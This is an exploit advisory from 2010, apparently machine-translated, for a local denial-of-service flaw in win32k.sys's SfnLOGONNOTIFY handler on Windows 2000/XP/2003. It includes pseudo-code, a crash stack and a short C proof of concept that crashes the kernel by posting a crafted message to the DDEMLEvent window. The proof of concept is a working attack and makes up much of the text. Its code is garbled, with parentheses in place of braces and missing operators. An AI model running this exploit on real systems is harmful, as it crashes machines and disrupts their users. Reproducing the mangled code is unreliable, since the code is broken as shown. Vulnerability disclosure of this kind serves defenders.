Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability

Effect : Microsoft Windows 2000/XP/2003 full patch

Author:MJ0011
Published: 2010-04-22

Vulnerability Details:

Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some
Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003
0x4c No. message, there will be a function called SfnLOGONNOTIFY, this function again when the wParam == 4/13/12
When the data directly from the lParam inside out, despite the use of the function of the SEH, but as long as the kernel passes the wrong address, will still lead to
BSOD

Pseudo-code:

if (wParam == 4 | | wParam == 13 | | wParam == 12)
(
    v18 = * (_DWORD *) lParam;
    v19 = * (_DWORD *) (lParam 4);
    v20 = * (_DWORD *) (lParam 8);
    v21 = * (_DWORD *) (lParam 12);

Exploit code:

# Include "stdafx.h"
# Include "windows.h"
int main (int argc, char * argv [])
(
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");

getchar();

HWND hwnd = FindWindow ("DDEMLEvent", NULL);

if (hwnd == 0)
(
   printf ("cannot find DDEMLEvent Window! \ n");
   return 0;
)

PostMessage (hwnd, 0x4c, 0x4, 0x80000000);

return 0;
)

Common crash stack:

kd> kc

win32k! SfnLOGONNOTIFY
win32k! xxxDefWindowProc
win32k! xxxEventWndProc
win32k! xxxDispatchMessage
win32k! NtUserDispatchMessage
....

Windows 7/Vista no such problem

Thanks:

Thanks to my colleagues LYL to help me discovered this vulnerability

th_decoder
2010-04-22